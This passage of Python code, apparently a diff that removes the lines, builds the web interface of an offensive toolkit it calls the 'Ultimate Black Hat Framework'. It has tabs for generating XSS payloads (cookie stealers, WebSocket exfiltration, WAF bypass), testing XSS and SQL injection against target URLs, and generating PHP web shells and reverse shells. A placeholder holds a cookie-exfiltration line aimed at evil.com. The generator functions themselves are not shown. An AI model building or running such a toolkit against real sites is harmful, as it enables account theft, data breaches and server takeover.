- gr.Markdown("### Ultimate XSS Payload Generator & Testing Suite")
846
-
847
- with gr.Tabs():
848
- # XSS Generation Tab
849
- with gr.Tab("⚡ Generate Payload"):
850
- with gr.Row():
851
- with gr.Column(scale=2):
852
- payload_type = gr.Dropdown(
853
- choices=[
854
- "Object Data URI + Triple Base64",
855
- "SVG + Unicode Escape",
856
- "Iframe SrcDoc",
857
- "Mutation XSS",
858
- "Template Literals Cookie Stealer",
859
- "WebSocket Exfiltration",
860
- "DOM Clobbering",
861
- "JSON/HTML Polyglot",
862
- "Details Ontoggle",
863
- "JSFuck Style"
864
- ],
865
- value="Object Data URI + Triple Base64",
866
- label="🎯 Payload Type"
867
- )
868
- encoding = gr.Dropdown(
869
- choices=["none", "url_encode", "double_url_encode", "html_entity", "hex_encode", "unicode_escape", "base64", "mixed"],
870
- value="none",
871
- label="🔐 Additional Encoding"
872
- )
873
- custom_code = gr.Textbox(
874
- label="💻 Custom JavaScript (optional)",
875
- placeholder="fetch('https://evil.com?c='+document.cookie)",
876
- lines=3
877
- )
878
- gen_btn = gr.Button("🔥 GENERATE PAYLOAD", variant="primary", size="lg")
879
-
880
- with gr.Column(scale=1):
881
- gr.Markdown("""
882
- ## 🎯 Payload Arsenal
883
-
884
- **Cloudflare Bypass:**
885
- - Triple encoding layers
886
- - Parser confusion
887
- - Context switching
888
-
889
- **Advanced Vectors:**
890
- - Cookie stealing
891
- - WebSocket exfil
892
- - DOM clobbering
893
-
894
- **Polyglot:**
895
- - Multi-context payloads
896
- - CSV/JSON/HTML
897
-
898
- **Obfuscation:**
899
- - JSFuck style
900
- - Hex encoding
901
- - Character codes
902
- """)
903
-
904
- xss_gen_output = gr.Markdown(label="Generated Payload")
905
- gen_btn.click(panel2_xss_generate, inputs=[payload_type, encoding, custom_code], outputs=xss_gen_output)
906
-
907
- # XSS Testing Tab
908
- with gr.Tab("🧪 Test XSS"):
909
- with gr.Row():
910
- with gr.Column(scale=2):
911
- test_url = gr.Textbox(
912
- label="🎯 Target URL",
913
- placeholder="http://target.com/search.php",
914
- lines=1
915
- )
916
- test_param = gr.Textbox(
917
- label="📌 Parameter Name",
918
- placeholder="q",
919
- value="q"
920
- )
921
- test_payload = gr.Textbox(
922
- label="💉 Payload to Test",
923
- placeholder="<script>alert(1)</script>",
924
- lines=3
925
- )
926
- test_method = gr.Radio(
927
- choices=["GET", "POST"],
928
- value="GET",
929
- label="HTTP Method"
930
- )
931
- test_btn = gr.Button("🚀 TEST PAYLOAD", variant="primary", size="lg")
932
-
933
- with gr.Column(scale=1):
934
- gr.Markdown("""
935
- ## 🧪 Testing Guide
936
-
937
- **What it checks:**
938
- - Payload reflection
939
- - Script tag presence
940
- - Event handler injection
941
- - HTML parsing
942
-
943
- **Best Practices:**
944
- 1. Start with simple payloads
945
- 2. Escalate complexity
946
- 3. Test multiple encodings
947
- 4. Check response headers
948
-
949
- **Legal Note:**
950
- Test only authorized systems!
951
- """)
952
-
953
- xss_test_output = gr.Markdown(label="Test Results")
954
- test_btn.click(panel2_xss_test, inputs=[test_url, test_param, test_payload, test_method], outputs=xss_test_output)
955
-
956
- # Payload Library Tab
957
- with gr.Tab("📚 Payload Library"):
958
- list_btn = gr.Button("📋 LIST ALL PAYLOADS", variant="secondary", size="lg")
959
- xss_lib_output = gr.Markdown(label="Payload Library")
960
- list_btn.click(panel2_xss_list_all, inputs=[], outputs=xss_lib_output)
961
-
962
- # ═══════════════════════════════════════════════════════════════════
963
- # PANEL 3: SQL INJECTION
964
- # ═══════════════════════════════════════════════════════════════════
965
- with gr.Tab("💉 Panel 3: SQL Injection", id="panel3"):
966
- gr.Markdown("### Advanced SQL Injection Testing")
967
-
968
- with gr.Row():
969
- with gr.Column(scale=2):
970
- sql_target = gr.Textbox(
971
- label="🎯 Target URL",
972
- placeholder="http://target.com/login.php"
973
- )
974
- sql_param = gr.Textbox(
975
- label="📌 Parameter",
976
- placeholder="username",
977
- value="id"
978
- )
979
- sql_method = gr.Radio(
980
- choices=["GET", "POST"],
981
- value="GET",
982
- label="Method"
983
- )
984
- sql_btn = gr.Button("💉 TEST SQL INJECTION", variant="primary", size="lg")
985
-
986
- with gr.Column(scale=1):
987
- gr.Markdown("""
988
- **Techniques:**
989
- - Union-based
990
- - Time-based blind
991
- - Boolean-based blind
992
- - Error-based
993
-
994
- **WAF Bypass:**
995
- - Comment variations
996
- - Case obfuscation
997
- """)
998
-
999
- sql_output = gr.Markdown(label="SQL Test Results")
1000
- sql_btn.click(panel3_sql_test, inputs=[sql_target, sql_param, sql_method], outputs=sql_output)
1001
-
1002
- # ═══════════════════════════════════════════════════════════════════
1003
- # PANEL 4: WEB SHELL
1004
- # ═══════════════════════════════════════════════════════════════════
1005
- with gr.Tab("💣 Panel 4: Web Shell Generator", id="panel4"):
1006
- gr.Markdown("### Advanced Web Shell Generation")
1007
-
1008
- with gr.Row():
1009
- with gr.Column(scale=2):
1010
- shell_type = gr.Dropdown(
1011
- choices=[
1012
- "php_simple",
1013
- "php_advanced",
1014
- "php_reverse",
1015
- "php_obfuscated"
1016
- ],
1017
- value="php_advanced",
1018
- label="Shell Type"
1019
- )
1020
- shell_ip = gr.Textbox(
1021
- label="Attacker IP (for reverse shell)",
1022
- placeholder="192.168.1.100"
1023
- )
1024
- shell_port = gr.Number(
1025
- label="Port",
1026
- value=4444
1027
- )
1028
- shell_btn = gr.Button("💣 GENERATE SHELL", variant="primary", size="lg")
1029
-
1030
- with gr.Column(scale=1):
1031
- gr.Markdown("""
1032
- **Shell Types:**
1033
- - PHP Simple
1034
- - PHP Advanced (with UI)
1035
- - PHP Reverse Shell
1036
- - PHP Obfuscated
1037
-
1038
- **Deployment:**
1039
- - File upload
1040
- - LFI exploitation
1041
- - ZIP slip
1042
- """)
1043
-
1044
- shell_output = gr.Markdown(label="Generated Shell")
1045
- shell_btn.click(panel4_generate_shell, inputs=[shell_type, shell_ip, shell_port], outputs=shell_output)
1046
-
1047
- # Footer
1048
- gr.Markdown("""
1049
- ---
1050
- <div style="text-align: center; color: #666;">
1051
- <strong>Ultimate Black Hat Framework v5.0 - XSS Master Edition</strong><br>
1052
- For Authorized Security Testing Only | Classification: CONFIDENTIAL
1053
- </div>
1054
- """)
1055
-
1056
- if __name__ == "__main__":
1057
- print("\n" + "="*60)
1058
- print("🔥 ULTIMATE BLACK HAT FRAMEWORK v5.0 - XSS MASTER EDITION")
1059
- print("="*60)
1060
- print("\n✅ All panels loaded successfully!")
1061
- print("\n📡 Starting web interface...")
1062
- print("🌐 Access at: http://localhost:7860")
1063
- print("\n" + "="*60 + "\n")
1064
-
1065
- app.launch(
1066
- share=False,
1067
- server_name="0.0.0.0",
1068
- server_port=7860,
1069
- show_error=True
1070
- )